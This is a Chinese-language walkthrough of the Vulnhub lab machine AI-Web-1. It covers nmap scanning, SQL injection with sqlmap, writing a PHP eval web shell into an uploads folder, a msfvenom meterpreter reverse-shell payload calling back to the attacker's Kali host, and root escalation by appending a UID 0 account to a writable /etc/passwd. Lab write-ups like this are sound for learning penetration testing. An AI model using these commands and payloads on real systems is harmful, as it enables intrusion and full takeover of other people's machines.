Vulnhub靶机-Al-Web-1
靶机:Al-Web-1.0
靶机下载地址:https://www.vulnhub.com/entry/ai-web-1,353/
虚拟机环境:桥接模式(保证在同一个网段方便扫描)
靶机搭建方式:下载好的靶场是一个压缩包,解压后直接用Vmware就能导入,导入后将网络连接方式改外桥接
靶机IP:192.168.3.67
kali机IP:192.168.3.62
Al-Web-1.0靶机
一、信息收集
1. 发现靶机
先扫描网段,找到靶机IP地址为192.168.3.67
nmap -sn 192.168.3.0/24
# -sn 表示nmap在主机发现后不进行端口扫描只显示出响应主机发现探测的可用主机
2. 扫描靶机开启的端口号
nmap -p- -A 192.168.3.67
# -p- 对全端口进行扫描
# -A 全面系统探测、版本探测、脚本扫描、路由追踪
发现有开放80端口,并且有个robots.txt可能有用
浏览器访问一下,发现并不能直接得到有用的信息
3. 目录扫描
从刚才的robots.txt文件中我们知道了有几个目录,现在扫描一下这些目录,这里遍历出两个文件,一个info.php的文件,一个index.php
浏览器分别访问一下,发现第一个info.php是一个phpinfo信息,那就查看一下权限用户和网站根目录
第二个文件发现这里可以输入文字,感觉可以进行sql注入,先测试一下,发现可以回显信息
1’ and 1=1 # 正常
1’ and 1=2 # 出错
看来这里是与数据库有交互的
二、SQL注入
哎,太懒啦,就用sqlmap来跑一下就行吧
1. 抓包
将数据包保存为data.txt放在桌面,等一下利用
2. 爆表
sqlmap -r data.txt --current-db --batch
# -r 从文件中读取HTTP请求
# --current-db 获取当前数据库
# --batch 不询问用户输入,执行默认配置
爆出当前数据库为aiweb1
3. 爆表
sqlmap -r data.txt -D "aiweb1" --tables --batch
# -D 指定要枚举的数据库
# --tables 枚举出数据库中所有的表
4. 爆列信息
指定systemUser表
sqlmap -r data.txt -D "aiweb1" -T "systemUser" --columns --batch
# -T 指定要枚举的数据表
# --columns 枚举出指定数据表中所有的列
5. 爆字段信息
sqlmap -r data.txt -D "aiweb1" -T "systemUser" -C "id,password,username" --dump --batch
# -C 指定要枚举的数据列
# --dump导出指定数据库的表项
发现密码被加密了,使用base64解密一下
做到这里发现一个问题,虽然成功爆出数据库的信息,但是好像并没有可以登陆的后台什么的可以利用,我丢!
不过虽然数据信息暂时无法利用,但是不代表不可以通过sql注入写入数据
6. 使用sqlmap写shell
在刚才信息收集中我们在robots.txt文件中发现了一个/se3reTdir777/uploads/的路径,并且也读到过phpinfo信息,从info.php文件中我们知道了根目录的路径,那现在就可以在uploads/路径下上传文件,通过sqlmap进行写入。我们直接写入一个木马文件试试
sqlmap -r ./data.txt --file-write="muma.php" --file-dest="/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/muma.php"
# --file-write=FILE 将指定文件FILE写入到后端DBMS文件系统中
# --file-dest=FILE 使用绝对路径写入到后端DBMS中的文件系统中
# muma.php代码
<?php @eval($_REQUEST['cmd']); ?>
可以看到成功写入了一个木马文件,并且可以访问到它
7. 蚁剑连接
使用蚁剑连接,发现可以连接,但是没有root权限。
三、反弹shell
1. 生成反弹shell木马,通过刚才连接的蚁剑上传
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.3.62 lport=1234 -f elf > reverseshell.elf
# -p 指定需要使用的payload(攻击荷载)
# lhost 设置成监听设备的IP
# lport 设置成监听设备的端口
# -f 指定输出格式
# elf格式 一种用于二进制文件、可执行文件、目标文件、共享库和核心转储格式文件的文件格式
2. 在蚁剑中打开终端,发现上传的木马没有执行权限,先开启执行权限,再运行,同时在kali中启动监听,成功反弹shell
use exploit/multi/handler #加载模块
set payload linux/x64/meterpreter/reverse_tcp #修改成我们之前生成木马时使用的payload
set LHOST 192.168.3.62 #设置监听设备的IP地址(这里为kali)
set LPORT 1234 #设置监听设备的监听端口
run #启动监听
在启动监听后就可以在蚁剑那边通过./reverseshell.elf执行文件,等待反弹结果,可以看到成功反弹shell
四、提权
1. 在shell中通过python提权到tty
shell
python -c “import pty;pty.spawn(‘/bin/bash’)
发现/etc/passwd文件居然是www-data用户拥有并且具有可读可写权限
2. 在/etc/passwd文件里写入一个和root权限一样的账户,使用openssl生成一个加密密码,这里准备构造一个用户名为admin密码也为admin的新账户并且使该账户具有root权限
openssl passwd -1 -salt admin admin
# passwd 生成密码使用的标准命令
# -1 使用md5加密算法
# -salt 使用随机数插入,默认是加了salt的
# 第一个admin为账户名 第二个admin为账户密码
将得到的密码去/etc/passwd里构造一个新用户
echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /etc/passwd
# admin为用户名
# $1$admin$1kgWpnZpUx.vTroWPXPIB0 为openssl生成的密码,其实就是admin用户的登陆口令
# 第一个0位User ID,即用户识别码,简称UID,0是系统管理员账号
# 第二个0为Group ID,即用户组识别码,简称GID,0是管理员组
# 中间空了一个字段,所以为::,原本这里为comment,这是给用户账户做注释的
# /root 该账号的主目录,即“家”目录,这里把admin用户的“家”设置成root主目录(root账户的主目录就是/root)
# /bin/bash 用户登陆后使用的shell
3. 登陆admin账户,发现成功将权限提升到最高
现在进入root,成功拿到flag
结束